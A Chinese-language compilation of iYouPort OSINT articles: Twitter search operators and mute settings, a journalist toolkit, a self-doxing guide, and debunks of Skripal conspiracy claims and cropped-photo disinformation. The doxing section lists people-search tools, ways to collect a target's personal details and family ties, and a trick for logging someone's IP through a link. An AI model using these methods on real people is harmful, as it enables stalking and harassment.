2、单击左侧菜单中的三个点

3、点击“设置和隐私”

4、点击“内容偏好设置”

5、点击“静音”

6、点击“静音词”

7、点击“ ＋”图标

8、一对一添加参数（有关参数列表，请参见屏幕截图下面）

参数是这样的：

- suggest_recap
- suggest_who_to_follow

- suggest_activity
- suggest_activity_tweet
- suggest_recycled_tweet_inline
- suggest_recycled_tweet
- suggest_grouped_tweet_hashtag
- suggest_sc_tweet
- suggest_pyle_tweet
- suggest_ranked_timeline_tweet
- suggest_ranked_organic_tweet
- generic_activity_highlights
- generic_activity_momentsbreaking
- ActivityTweet
- RankedOrganicTweet

添加完参数后，您应该会看到以下这样的内容：

搜索查询以获取排斥掉算法操纵的结果

「图」

在推特搜索： *filter:follows -filter:replies* 单击“最新”选项卡结果，也会为您显示非算法操纵的 Twitter 时间轴。

您甚至可以通过在上面的搜索查询中添加 *-filter:RT* 来进一步过滤掉转发。

退回到“旧版” Twitter 的方法

「图」

另一个建议是在浏览器中使用 extension/addon，将您的 Twitter 反向推回到“旧”版本的 Twitter。

它实际上将您的浏览器的用户代理更改为较旧的浏览器之一：例如：Mozilla/5.0 (Windows NT 9.0; WOW64; Trident/7.0; rv:11.0) 如 Gecko。

由于 Twitter 会监听您的浏览器，因此该插件将使其看起来像是您在使用一个非常旧的浏览器，于是 Twitter 会自动向您展示一个较旧的 Twitter 版本（使用较少的资源）。

Chrome 的旧版 Twitter 扩展：

https://chrome.google.com/webstore/detail/goodtwitter/jbanhionoclikdjnjlcmefiofgjimgca

适用于 Firefox 的旧版 Twitter 插件：

https://addons.mozilla.org/en-GB/firefox/addon/goodtwitter/

源代码可以在这里找到：

https://github.com/ZusorCode

使用搜索运算符搜索 Twitter

「图」

我们介绍过一些运算符的使用方法，见《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

完成以上所有设置后，您始终可以手动搜索 Twitter 来进行更深入的挖掘。

处理开源情报案例时，重要的是要了解或至少熟悉该平台的本地搜索运算符。当然，您可以使用（自动）工具搜索 Twitter，以找到针对您特定研究问题的答案。

但是，通常最好的是手动执行此操作，尤其是在您的调查报告必须详细解释和概述如何找到该信息的情况下。

除了上面关联的文章之外，在下面，您将找到一组示例搜索运算符。您可以使用这些示例来大致了解 Twitter 必须提供的搜索选项。

一旦您熟悉了基础知识，就可以通过组合查询使搜索尽可能有针对性地扩展范围。我喜欢称其为“查询杂耍”。

不要忘记点击 **“latest”** 标签以查看最新结果，因为默认情况下它将指向 **“top results”**。很多时候和 GoogleDorking 很像，您可以在这里看到《GoogleDorking 高级运算符完整列表》。

- “Hongkong” ：包含确切的短语 “Hongkong” 的所有内容；
- Hongkong OR China：包含“Hongkong”或“China”，或两者；

- osint -tool：包含 “osint”，但不包含 “tool”；
- #Hongkong：包含 #Hongkong 标签的所有内容；
- from:iyouport_news：从 Twitter 用户 “iyouport_news” 发送的内容；
- to:iyouport_news：发送给推特用户 “iyouport_news” 的内容；
- @iyouport_news ：指 Twitter 用户 “ @iyouport_news ”；
- party source:Facebook ：通过 Facebook 发送的包含“ party”一词的内容；
- osint？ ：包含 “osint”一词，并且提了一个问题的推文；
- “mass shooting” near:”NYC” ：包含确切的词组“大规模射击”，并在“纽约市”附近发送的内容（请注意，只有不到8%的Twitter用户启用了地理位置推文功能。因此，这些结果可能并非您所期望的那么丰富）；
- Hongkong filter:links ：包含 “Hongkong” 并链接到网址的内容；
- near:Chicago within:15mi ：在距离“芝加哥” 15英里范围内发送的内容；
- geocode:51.917058, 4.473365,1km ：在x、y坐标的1km半径内发送的内容；
- Hongkong since:2019–07–29 ：日期“ 2019–07–29”开始的包含“Hongkong”的内容；
- Hongkong until:2014–11–04 ：包含 “Hongkong”的内容直到日期“ 2014–11–04”；
- Hongkong lang:fr ：包含用法语写的“Hongkong”一词的内容；
- Hongkong filter:images ：包含单词 “Hongkong”，并在推文中包含图片的内容；
- Hongkong filter:media ：包含单词 “Hongkong”，并在该推文中包含图片或视频的内容；
- Hongkong min_retweets:8 ：包含“Hongkong”一词，并至少进行过8次转发的内容；
- Hongkong min_faves:8 ：包含 “Hongkong” 一词，并至少被点赞了8次的内容。

Twitter 在2019年7月进行了一些界面更改。随着这些更改，基本搜索的URL发生了变化。

曾经是 https://www.twitter.com/search 或 https://www.twitter.com/explore 的那些已被重定向到了https://www.twitter.com/search-home 。

仍可在 https://twitter.com/search-advanced 上找到Twitter界面高级搜索。

您也可以将定期搜索保存为书签，这样可以节省一些时间。

您还可以更改url参数来更改搜索。范例：https://twitter.com/search?q=osintcurious%20webcast&src=typed_query&f=live 搜索带“osintcurious” 同时网络直播的内容，您可以操纵**url**中的单词来更改搜索，然后按 Enter。

在这里是，把 “webcast” 改为 “guest”，变成这样： https://twitter.com/search?q=osintcurious%20guest&src=typed_query&f=live

就是这样！

「图」

这就是在避免所有 Twitter 产生的算法噪音、并收回干净的时间顺序的情况下，设置 Twitter 帐户的基础知识。

本文指出了您可以执行的所有基本搜索。当然，还可以有超出基本搜索选项的更多高级提示和技巧，如果您感兴趣的话今后我们会慢慢介绍。

您也可以分享您自己挖掘到的技巧和窍门，通过下面的评论栏。很高兴与您交流！玩得开心。〇

原文

给真相爱好者的随身小工具：调查工具包简版 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

不要淹死在铺天盖地的文档和信息中；调查者应该有巧妙的方法让自己尽可能保持精准和清醒

「图」

「图」

很多调查者都有这样的感受，信息太多无从下手，工具太多很难逐一尝试究竟哪个最有效。

我们也介绍过很多调查工具，见“OSINT”栏目，或者4个综合版如下：

- 《🔭 超级情报收集工具库：开源验证和调查工具及使用方法》
- 《如果擅长搜索，你能找到一切》
- 《人肉工具 – 1》
- 《社交媒体情报和反情报基本工具手册：自我—人肉工具2》

以上工具稍微专业，适合有至少一年以上开源调查经验的玩家。如果您是新手，正在考虑从哪里开始，本文推荐的一些小东西应该可以适合您。

这些工具是欧洲记者常用的；如果比喻一下的话，它们就像是开瓶器、镊子、指甲钳等挂在钥匙扣上的小玩意。基本能满足日常需求，如果您准备深度追踪一个目标人/事件的时候，可能依旧需要更专业的工具。

⚠请注意，和所有调查工具一样，以下这些工具也有危险性，如果落入恶意者手中会产生很糟糕的结果；

💡于是，即便您不是调查人员，也可以使用在这些工具对自己进

行“调查”，并在恶意者出手之前删除您的关键信息和踪迹。

那么开始。

"Hunter.io"

查找调查对象的联系方式是调查工作的重头戏。

Hunter.io 能帮你挖出某些带特定域名的邮箱地址，比如说政府部门的邮箱。

即使有时不能给出准确地址，Hunter 也会利用他们的算法提供最接近的猜测结果（例如，“{last name}{first name}@company.com”）。

接着，你可以用 Email Verifier 来测试所得的邮箱是否是真实存在的邮箱。

还可以在 Chrome 上安装 Hunter 的插件，这样就能在领英个人页面添加一个“查找他们的邮箱地址”（Find their email）功能。

IntelTechniques

IntelTechniques 能让你同时搜索数十个社交媒体和网页平台，“人肉”某个信源、追踪目标人物、甚至是起底某人在网络世界的一举一动。

比如，在 Facebook 搜索方面，它能帮你查到某个用户点过赞的所有照片，或是所有标记了他们的视频。

目前该工具的提供者已经关闭了工具箱，因为他们受到了攻击，您可以在这里看到说明：https://inteltechniques.com/private/viewtopic.php?id=4；或者在这里听取音频：https://soundcloud.com/user-98066669/126-what-happened。希望其他开发者尽快接力。

类似工具还有其他，您可以在上面的多个工具包中找到。

"InVID"

InVID 浏览器插件是由一群欧洲记者和产品设计师共同设计的视频核查工具。

它能够挖出视频的缩略图、某一帧画面、元数据和其他信息，来帮你判断视频的来源。

不过局限性是，目前它只能用于核查 YouTube 和 Facebook 视频。

「图」

「图」

"YouTube DataViewer"

人权组织常需要核查读者生成内容（UGC），确认内容是否合法。

由国际特赦组织开发的 YouTube DataViewer，就是帮你搜索 YouTube 视频出处的工具。

如果视频本身没有什么特别值得注意的地方，你可以利用反向图片搜索（Reverse Image Search）来查询视频生成的缩略图。

更多见：《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》

"Sqoop"

普通记者和调查记者的区别之一在哪？

答案是：挖掘文件的程度。

想要查询法庭记录、商业档案以及各种国家层面的公开文件，不妨试下 Sqoop—— 抱歉目前只对记者免费。

如果您不是记者，可以获得7天的免费试用。

"Klaxon"

这个工具上手有些费劲，但绝对值得你花功夫去尝试。

它是目前市面上用来追踪网页变化的最佳工具，由专注犯罪正义报道的美国非盈利项目 The Marshall Project 开发，适用于任意语言的网站。

「图」

「图」

"Botometer"

网络水军盛行的时代，要避免在判断上出错，还需懂得辨认社交媒体用户的真实性。

由美国大学研究者开发的 Botometer 能帮你检测某个 Twitter 账户的背后是真人还是机器操作。

虽然不能保证100%的准确率，但它已是市面上最好的“机器人检测仪”，还能用来分辨真粉还是僵尸粉。

"Burner"

调查记者还要特别重视个人隐私和安全问题。

不论信息加密工作做得多好，你总会在网络上—— 通常在元数据中—— 留下个人痕迹。

Burner 的作用是给你创建一个带加拿大或美国区号的“电话号码”（从而隐去了你的真实痕迹）。

不过局限是暂时不能打国际电话。

"Oligrapher"

如其名所示，Oligrapher 是一个可视化工具，专门用来设计呈现寡头政治家之间的关联的可视化图表。

它让读者使用 Little Sis（意思是“小姐姐”，取“老大哥”的反义）数据库的数据作图，后者是一个草根监督网络，包含数百万条有关世界上的政治强人和组织实体之间的社会关联信息。

如果在 Little Sis 数据库上搜不到你想找的人或公司，你还可以主动给数据库添加信息。

「图」

「图」

Raw Graphs

Raw Graphs 是一个开源数据可视化框架，目的是帮助用户处理并可视化复杂的数据。

用户只需复制、粘贴数据表格到该网页应用上，应用便会自动提供可视化方案，帮助分析并以可视化的形式标出所上传的数据集特点，最后生成一个可视化样品。

不满意的话，还可以重新进行分析，尝试其他可视化形式。

Data Visualization Catalogue

寻找合适的数据图表和可视化方案还可以求助“数据可视化目录”。

这个由数据可视化爱好者、平面设计师 Severino Ribecca 建立的网站是一个持续进行的项目，现已收录了50多种可视化图表的制作工具、应用案例等信息，供用户检索参考。

该网站去年还新增了中文版。

好了。您在做调查的过程中还有其他经常使用的趁手工具吗？欢迎留言分享。〇 广告

原文

自我人肉 - iyouport

开源情报-每个人都可用的武器

【2019年8月2日存档】“你对目标的了解越多，找到他或她的弱点就越容易”，然后就可以利用这些弱点以发起最有效的攻击。你对自己的弱点很可能不那么了解，而你的敌人很了解。如果你想要防御敌人，那么就最好能首先”变成”自己的敌人，通过他们的眼睛来看自己。怎么做？

Doxing 是一种使用互联网上的来源追踪某人或收集有关个人信息的技术。其名称源自“Documents”或“Docx”。Doxing 方法完全基于监视者/攻击者/社交工程师识别有关其目标的有价值信息的能力，并将此信息用于实现他们的利益。它也是基于这样的想法：

> “你对目标的了解越多，找到他或她的弱点就越容易”
> —— *Urban dictionary*

然后就可以利用这些弱点以发起最有效的攻击。根据对手的不同，挖掘过程也大不相同。例如，分析信息可用于情报机构的秘密尝试；如果这些尝试都失败了并且你仍然热衷于批评政府，那么请期待政府支付的trolls（以及当前繁荣时期的例外主义）对你进行激进的妖魔化。

Doxing 也是侦察的一部分，这种侦查被称为“人工情报—‘humint”，其重点在于目标人/群体的阴影面。这些技术可以或简单或复杂，并且可用于背景检查（渗透可能在这些技术中仍然不可见，但可能会检测到比较小的渗透）关于情报的分类和方法介绍详见《“谷歌地图”是比詹姆斯邦德更棒的间谍》

有不少专门为 d0xing 创建的工具。我更愿意使用尽可能少的自动化工具。因为我更愿意关注那些容易被忽视的细节—— 你越依赖自动的任何东西，你就越容易忽视细节。

但是如果你想使用一个工具并且你不知道用什么，请做一些研究，（如果可能的话）跟踪制造商的资金，以评估代码的安全性。

本指南收集 doxing 资源并作出简要介绍，如果您还有其他更好玩的资源，欢迎留言添加！

——在研究期间存储信息——

请将收集的数据存储在加密的外部磁盘上。

Spies online——

你可以使用相同的（或类似的）在线间谍技术通过敌人的眼睛来看你自己。然后，可以使用该信息尽可能地保护自己免受敌人的攻击。在设置其他匿名或假名身份时，这些相同的资源可用于身份测试。关于如何制作替身，详见 IYP 同栏目的上一篇文章《分裂人格的魅力》以及《抗议须知》、和《角色扮演》。

下面先说资源，后说方法。

——资源——

1、搜索引擎：

Duck Duck Go https://duckduckgo.com/ (anonymous search)

IxQuick https://ixquick.com/

StartPage https://startpage.com/

YaCy http://yacy.net/en/index.html (distributed search)

2、搜人：

Check Usernames http://checkusernames.com/

Lullar http://com.lullar.com/

Peek You http://www.peekyou.com/

Pipl https://pipl.com/

Recorded Future https://www.recordedfuture.com/

Social Mention http://socialmention.com/

WebMii http://webmii.com/

Whos Talkin http://www.whostalkin.com/

3、搜图：

TinEye https://tineye.com/

4、搜帖子和讨论：

Omgili http://omgili.com/

5、IP查找：

与 whois 相关的技术信息——

RFC 954—NICNAME/WHOIS 「/nowiki」http://www.faqs.org/rfcs/rfc954.html

RFC 1834—Whois and Network Information Lookup Service, Whois ++ 「/nowiki」http://www.faqs.org/rfcs/rfc1834.html

Whois clients——

Linux online manpage jwhois http://linux.die.net/man/1/whois

Ripe whois client http://sourceforge.net/projects/whois/files/ (does not check for supported flags at the client side, except for -h (whois host) and -p (whois port))

基于 Web 的 whois 查找——

Geektools http://www.geektools.com/whois.php (also serves as proxy)

Whois at the Open Directory Project http://www.dmoz.org/Computers/Internet/Domain_Names/Name_Search/ with (list of whois servers)

有用的 whois 服务器——

InterNIC http://www.internic.net/whois.html (the main Internic whois)

American Registry for Internet Numbers http://whois.arin.net/ (gives info on who owns a netblock)

Advanced query RADb http://www.radb.net/query/?advanced_query=1 (for routing information from an IP address)

Robtex http://www.robtex.com/ (goodies in a toolbar)

RWhois——

RWHOIS project on ARIN http://projects.arin.net/rwhois/

RWhois Web Interface http://projects.arin.net/rwhois/prwhois.html (a sample rwhois web interface on ARIN using the Net::Rwhois perl5 client)

其他有趣的查找——

The New Ultimates, mostly US data http://www.newultimates.com/

6、D0xing 工具

Sleeping Time http://sleepingtime.org/

Metagoofil http://www.edge-security.com/metagoofil.php

theHarvester http://www.edge-security.com/theharvester.php

7、公开信息：如浏览档案，黄页，电话簿和其他可能有用的信息

欧洲——

档案门户 http://www.archivesportaleurope.net/directory

电子文件档案（POL）http://www.nac.gov.pl/

联邦档案馆（GER）http://www.bundesarchiv.de/index.html.de

乌克兰中央国家电子档案馆 http://tsdea.archives.gov.ua/

国家档案馆（英国）https://www.nationalarchives.gov.uk/

白页和黄页欧洲 http://www.wayp.com/eng/europa3.shtml

乌克兰国家档案局官方门户网站 http://www.archives.gov.ua/

非洲——

南非国家档案馆（NASA）http://www.national.archsrch.gov.za/sm300cv/smws/sm300dl

白页和黄页非洲 http://www.wayp.com/eng/afrika3.shtml

白页（ZA）http://www.whitepages.co.za/

亚洲——

白页和黄页亚洲 http://www.wayp.com/eng/asia3.shtml

大洋洲——

新西兰网络档案馆 http://natlib.govt.nz/collections/az/new-zealand-web-archive

PANDORA，澳大利亚网站档案 http://pandora.nla.gov.au/

南太平洋白页和黄页 http://www.wayp.com/eng/southpas3.shtml

南美洲——

白页和黄页 http://www.wayp.com/eng/amerika3.shtml

北美——

国家档案馆（美国）http://www.archives.gov/

WayBackMachine https://archive.org/web/

白页和黄页美国 http://www.wayp.com/eng/amerika3.shtml

白页（美国）http://www.whitepages.com/

好啦，下面说—— 方法——

您的思考方式是这样的：

- 收集你所知道的关于一个人的一切。在自我人肉中是关于您自

己的一切；
- 坚持信息收集的法律方法—— 不要冒险入狱；
- 使用与平常不同的浏览器，或者，删除浏览器历史记录，Cookie并清除缓存；
- 首先使用工作表进行注释，或使用草稿纸绘制图表；
- 为调查创建一个单独的文件夹，并以您调查的主题命名；
- 将整个网站的照片、头像、屏幕抓取、和 wgets 保存到您的文件夹中。有许多免费的浏览器扩展程序可以全屏抓取，例如 Firefox 的 Awesome Screenshot 或 Chrome 的 Screen Capture Extension。
- 为您的研究创建一个工作文件。将每个 URL 和一段信息转储到其中。对于您添加的每条信息，请提供一个来源。定期组织该文件以将最重要信息放在顶部。制定一个 TL；
- 为最重要的信息制作摘要文件；
- Drive 或 Dropbox 对于与其他调查人员的协作非常有用—— 调查记者、OSINT独立团队、真相爱好者、私人侦探……

为什么要这样做？

- 如果你觉得某人可能是危险的或不值得信任的；
- 如果一个人或多个人在网上骚扰您，并且您想进行风险评估，在此之前您需要了解您的对手。此外 MOSAIC 威胁评估系统是一个详细的指南；
- 如果你正在与一个人互动并怀疑他们可能正在进行恶作剧，您要证实这件事；
- 如果您的判断是一个人对您所处的社区有危险，或者怀疑其为政府间谍，那么如果您愿意，您可以提供一系列支持性证据；
- 还有就是本指南的主题：自我人肉，以确定您应该防备什么。

可能有用的信息，如下：

– 姓名：列出您认识的人使用过的所有姓名。

– 屏幕名：昵称、社交媒体用户名等。这些信息可能会显示某些模式线索。

– 社交媒体资料和网页：Twitter，FB，Foursquare，Flickr 等。

– 电子邮件地址：列出它们；另外，搜索它们。

– 域名：使用 whois。主域名可能会显示其名称或位置。

– IP地址：可以搜索它们或通过它们关联活动。它们可能位于博客评论管理面板、服务器日志或电子邮件标头中。

– 年龄/ DOB：出生日期很有用;查阅法庭记录是必要的。

– 居住地：找到目标人居住的城市和地区。

– 电话号码：收集当前和过去的号码。做反向查找。

– 地址：工作地点，学校（注意 LinkedIn。如果您已登录，目标可能会看到您已查看其页面）

– 互粉的“朋友“：查看目标人的 Facebook，Twitter 关系网，你能得出有用的结论吗？

– 家庭成员：用于对身份进行三角测量式的定位。家谱网站可以在这里提供帮助。 Ancestry.com很好。在某些情况下，可以选择联系家庭成员，要求他们以富有同情心和非威胁性的方式帮助您的调查。一些便衣警察经常这么干。

– 其他在线环聊，邮件列表，社区 ……所有你能找到的地方都要看。

– 究竟是不是目标人：跟踪和区分不是您的目标的但是具有相似名字的人—有助于确保收集的信息属于正确的个人。

– 法院记录：寻找法院和监狱数据库。

以上需要提示的是：它应该同时被反过来看，也就是说为了防御，除了最后两条之外，其余的您都应该想办法避免被不可靠的人知道。尤其是这些信息都不应该出现在互联网上！

——搜索提示——

Rapportive：如果您有电子邮件地址，则可以安装此浏览器扩展程序以查找与其关联的其他社交帐户。安装后，创建一个包含相关地址的草稿电子邮件。将鼠标悬停在电子邮件地址上会弹出报告侧栏信息。

Check references：如果您查到目标人在全国各地的任何组织中做志愿者工作，请联系该组织的某个人询问他们与该人的经历。这可以在不泄露您的怀疑或恐惧的情况下以中立的方式完成，并且也是一种合理的方式来检查一个人对您的组织志愿工作的参考。

搜索姓名＋逮捕，姓名＋骚扰，姓名＋监狱等等：这有时可以快速获得有关滥用和/或犯罪活动的更多信息。

Wayback machine：检查 http://archive.org 以查找旧页面或删除的站点。

——其他说明——

多重身份对于正义者和恶意者来说都有可能是必要的。但是，如果您现在的目的是调查，那么请对多种身份、sockpuppets 和恶作剧保持警惕。

您可能想尝试研究自己的身份，或者与朋友一起看看那里有什么好玩的东西，并减少从各种来源暴露出的关于您的信息量。

如果您拥有对自己的Web服务器的控制权，则可能更容易收集信息。这是拥有您自己网站的一个很好的理由。例如，如果有人私下向您发送消息，请为他们提供指向您的网站的链接。然后收集点击者的IP地址。

专注于像 Twitter 这样的高使用率平台，以绘制目标人的社交图、寻找地理位置、和其他信息的线索。

对于在线骚扰的情况，您可能希望收集帖子或评论，以便将可怕的 trolls 的写作风格与不同名称的新评论进行比较。

——结论——

收集到这些信息之后，您可能会获得更多可帮助您做出决策的信息。

你是否放心这个人不是一个直接的危险？如果是这样，那很好。你的调查取得了成功。

或者，你需要采取进一步措施吗？您想在将来查看此人的活动或犯罪记录吗？或者，您想与他人分享调查结果吗？

当我们分享这些调查信息时，就是正在建立自己的力量。揭露是最强大的抵抗。当我们能够集体行动时，我们也处于更好的政治地位，在复杂的调查中分享合作是一项极其有利的技能；在自我人肉以规避风险时，您所要做的只是想办法去除一切潜在的数字导火索。

关于隐身，后面还有专门文章的更多介绍。〇

原文

虚假信息游戏：社交网络纷杂的信息环境下如何击败阴谋论？#OSINT - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

> 我们认为这是一个很好的案例，足以说明在社交网络 — 即 信息纷杂 + 水军巨魔充斥其中的状况下，开源调查能力和意识的推广水平将决定着民主的根基是否稳固。我们已经演示过很多开源调查的实例，也介绍过一些好用的工具，本文是一个相对简单的例子，它提示的是：批判性思考的重要性

「图」

当英国当局周三宣布他们怀疑两名俄罗斯特工涉嫌制造前俄罗斯间谍 Sergei Skripal 和他的女儿尤利娅在索尔兹伯里的中毒事件时，他们发布了闭路电视摄像机拍摄到的视频画面，关于嫌犯抵达盖特威克机场的照片。

其中两张并排的图片开始在社交媒体上传播，就是下面这样，由亲俄罗斯的阴谋论家和可疑的巨魔账户驱动。这是两个嫌疑人 Alexander Petrov 和 Ruslan Boshirov 穿过机场的画面。

很显然，两个图像具有相同的时间戳。大量的推文问道，“两个男人怎么可能同时在同一个地方出现”。

「图」

「图」

俄罗斯外交部发言人 Maria Zakharova 也来凑热闹，她在国家电视台发表讲话时说，如果真的是“确切的日期和时间叠加在图像上了”，那只能说明俄罗斯情报人员“掌握了同时行走的技巧”。

她的言论得到了 Twitter 上的亲克里姆林宫帐户以及俄罗斯流行的消息应用程序 Telegram 上的响应。这些平台上的用户就此认为 CCTV

图像被操纵了。他们嘲笑英国当局，并声称这是军情六处的行动。

不幸的是，对于阴谋论家来说，这个结论是基于一个根本的误解：图片显示嫌疑人正在穿过盖特威克机场，特别是在终点站出口处的单向通道。有关通道门类型的照片可以在 Marco 机场设施集团网站上找到关于在盖特威克机场安装大门的案例研究：

「图」

在盖特威克机场的其他地方也可以找到另一套相同风格的通道门：

「图」

可以清楚地看到，有多个平行的通道门可以让两个嫌疑人同时通过大门，这一事实足够让一些阴谋论家收回他们的猜想。

然而，这并没有阻止俄罗斯外交部发言人 Maria Zakharova 向俄罗斯媒体重复这些同样被揭穿了的主张。在与俄罗斯的现场采访中，1’s 60 Minutes 位置，Zakharova 明确指出，两部 CCTV 图像中的走廊实际上都是同一条走廊，因此两个嫌疑人都不可能在时间戳显示的同一时刻进入走廊，并将其称为英国证据中许多所谓的“出入”之一。Zakharova 将此描述为英国当局的“神级 trolling”。

无法得知 Zakharova 是否只是重复被揭穿的互联网阴谋论家们的理论，或者这是否就是俄罗斯外交部提出的理论。俄罗斯外交部和俄罗斯各大使馆通过社交媒体以社区参与的方式分享了这些理论，表明他们肯定会接受这一说法，这当然不是俄罗斯官员第一次以官方身份引用互联网阴谋论。

2014 年7月，在乌克兰 MH17 事故发生后，俄罗斯国防部举行了一次新闻发布会，介绍了它所声称的有关坠机的“证据”。其中包括一则声明，一部显示 Buk 导弹发射器击落 MH17 通过分离主义者控制的 Luhansk 地区的视频。但实际上那是在乌克兰政府控制下的乌克兰另一地区拍摄的。事实上，这一理论最初起源于俄罗斯的互联网论坛，并在亲俄阴谋论社区中传播开来。俄罗斯国防部似乎不太可能提出相同的错误结论（并且还编辑了图像以支持其声称），因此很明显，他们的主张是从互联网阴谋论中得来的。

也就是说，先有的互联网亲俄罗斯阴谋论，后有的俄罗斯外交部言论。这是与中国“自上而下”主导舆论的风格相反的模式。

在早先的一个例子中，俄罗斯政府官员对大马士革 2013 年8月21日

沙林毒气袭击事件提出了多项主张，都是基于阴谋论和互联网谣言。例如，在袭击发生两天后，俄罗斯外交部发言人 Aleksandr Lukashevich 提出以下主张：

> 更多的新证据开始出现，这种犯罪行为显然具有挑衅性。特别是在互联网上，有报道称，在所谓的袭击发生前几个小时，就发布了对政府军的指控。所以，这是一个预先计划好的行动。

8 月21日声称攻击的视频已经上传到 YouTube ，然后在攻击发生后立即开始流传，许多在 YouTube 上显示的视频都是 8月20日。这导致了关于“视频在 8 月21日之前就已经上传”的声明，来自一段时间很受欢迎的亲阿萨德阴谋论人士。然而，这实际上是由于 **YouTube** 上显示的日期基于服务器的位置，在这种情况下是美国西海岸，因此在发生攻击时大马士革清晨上传的任何视频，由于时差，都会显示为前一天上传。

如果再有类似的阴谋论出现，您知道该如何反驳了。

俄罗斯否认参与 Skripal 案件，其驻伦敦大使馆没有回应评论请求，但分析人士称俄罗斯国家现在是新型信息战的主要代表。

延伸阅读：《"//信息战：揭露政府的宣传机器如何伪装成”独立媒体”和 NGO 以混淆视听//"》

一个松散定义的俄罗斯国家行为者、国家控制的媒体、以及社交媒体机器人和巨魔军队的网络，被认为是齐心协力以传播和扩大围绕 Skripal 中毒等案件的多种叙述和阴谋论。

此事提醒的是，当下时代反宣传的目标不再仅仅是拒绝或反驳官方版本的事件，而是如何摆脱如此多的竞争版本充斥的区域，以寻求真相。就如被推特中文圈假消息弄得头晕脑胀的人们都知道的那样。拥有扎实的技术实力的独立调查对民主来说非常重要。

就如研究俄罗斯假情报的大西洋理事会高级研究员 Ben Nimmo 所说：“真正引人注目的是你不再看到俄罗斯宣传机器仅仅推送一条信息，它会推送几十条信息。这是非常令人迷惑的”。

星期三流传的其他阴谋论包括声称嫌疑人是英国演员，是 2000 年代在英国电视台播出的（不存在的）克格勃间谍系列里的明星。另一位人士表示，在索尔兹伯里发生的暗杀事件，以及英国其他俄罗斯国民

的死亡，都是军情六处情节的一部分。“为什么所有这些可怕事件都只发生在英国？” 俄罗斯议员安德烈·克里莫夫（Andrei Klimov）在国家电视台问道。

“你提出的理论越多，你获得的谷歌搜索结果就会越多，”Nimmo 说。“你看到的不是两三个不同版本的故事，而是 20 或 30 个。而对于那些没有经常关注故事的人来说，在他们放弃之前会变得越来越混乱。而在那时，俄罗斯的虚假信息已经产生了影响。“

MH-17 就是个典型的例子。你能看到一系列不同的阴谋论和竞争性的叙述，附在各种主题标签和社交媒体活动上。目标是让人们迷惑，使大众分化，使他们越来越远离现实。

2015 年，欧盟对俄罗斯的虚假信息感到震惊，因为它创建了一个特别工作组 — 东部战略团队 — 专门用于抵消感知到的威胁。这个小团队试图实时揭穿虚假故事，但据报道，假消息的材料数量大大超过了辟谣信息。

今年早些时候进行的 YouGov 民意调查发现，75% 的英国人认为俄罗斯国家支持了 Skripal 中毒事件，而只有 5% 的人表示他们认为俄罗斯是无辜的。但一名欧盟官员表示，出口到国外的大量俄罗斯虚假信息仍然是引起关注的主要原因，但他没有被授权公开谈论此事。

“信息战正在 24/7 发生。当然，其他人也会使用虚假信息……但是这种侵略，这种向国外输出信息叙述的战略，确实是俄罗斯全球第一。”欧盟官员说。

但是中国呢，真的明显不如俄罗斯吗？中国对多语种外宣的投资早已众所周知，Twitter 上使用英语捍卫北京政权利益的账户已经越来越常见。虽然中国还没有操弄出假冒的独立媒体、还没有获得专业性极高的社交工程人员加入宣传大军，当然，也没有被英美如此高程度地“关注”。

当下的信息战已经不同于冷战时期，它在操作上更加便捷，随着技术的发展，造假更加容易，当然，通过独立调查来揭穿谎言也会更加容易。关键取决于技术和方法究竟是更多被公民和独立民间组织使用，还是被当局使用，前者才是民主的。也是我们呼吁较高技术含量的开源调查 #OSINT 的原因。欢迎更多真相的信仰者加入进来，抵制宣传操纵，捍卫公民权。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

裁剪图像的方式可以改变一切 - iyouport

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

传播虚假信息可以很容易。但验证虚假需要一些技巧。

在网上传播欺骗性的照片或虚假信息，实际上可以非常简单，并不需要什么高超才能。通常情况下，仅仅裁剪一张照片或视频就可以在社交媒体上造成混乱。在这篇文章中，France24Observers 研究了三个以欺骗性方式裁剪或重构的照片和视频的真实例子，这是值得您警惕的欺骗手段，了解它们以帮助您避免落入这个陷阱。

实际上，大多数人都会去裁剪照片以使画面上的情况看起来更像是自己想要的样子，这相当普遍。您也很可能这样做过。比如您可能会把自己的手臂从照片中剪掉，因为您不想让人们看到赘肉；您也可能会把前男友从照片中剪掉，因为您不想让人记得他曾和您的家人一起吃过饭；您甚至可能把其他游客从您拍摄的一些漂亮的瀑布照片中剪掉，只是为了让您看起来像在野外散步。

然而，人们也会出于更邪恶的原因而裁剪照片。他们的想法是一样的 —— 他们通过剪掉关键的视觉信息来改变人们对某一情况的认知方式。他们裁剪照片并不是为了隐藏前男友或一点赘肉，而是为了欺骗他人，诱导人们以欺骗者想要的方式解释图像。

法国家庭福利办公室的照片

「图」

这张照片显示，一群身穿罩袍的妇女站在一个写有 “Allocations familiales” 的蓝色标志前，这是法国分配家庭津贴或福利的组织。标题说：“照片拍摄于巴黎郊区 Rosny-sous-bois 的 CAF[caisse d’allocations familiales的缩写]”。

这张特殊的剪裁图片多年来一直在法国的社交媒体上不断重现。这张照片在2015年初被广泛分享，并在2018年8月再次开始流传。帖子写道：“Rosny-sous-Bois 的家庭福利办公室 [Caisse d’allocations

familiales]…对于那些不了解其地理位置的人：Rosny-sous-Bois 在法国（93 seine Saint Denis ）离巴黎不远。继续工作吧，他们需要你！”这是一条反移民的虚假信息，暗示法国人在努力工作以养活移民。

看到这张照片的大多数观众会得出的结论是：戴头巾面纱的妇女正在排队领取政府福利。

“继续工作，他们需要你！”发布照片的人说，这显然是在向读者暗示，这些穆斯林妇女正在依赖政府的福利，而不是寻找工作。

但是，这并不是真实的情况。

当您看到这样一张有争议的图片时，您的第一反应应该是做一个反向图像搜索（如果您不知道如何操作，请查看这里的指南）。如果使用谷歌浏览器，在图片上点击右键，您会得到在谷歌上搜索这张照片的选项。然后，谷歌会向您展示这张照片在网上发布的所有情况。

- 更多方法见：《验证图像和视频信息时您需要思考什么：从追踪到验证的思考方式（5）》
- 《5个简单方法快速检测造假照片》
- 《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》
- 《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》

然而，通常情况下，仅仅运行反向图像搜索是不够的。这是因为，虚假信息或被篡改的照片被分享的次数比原件还要多。

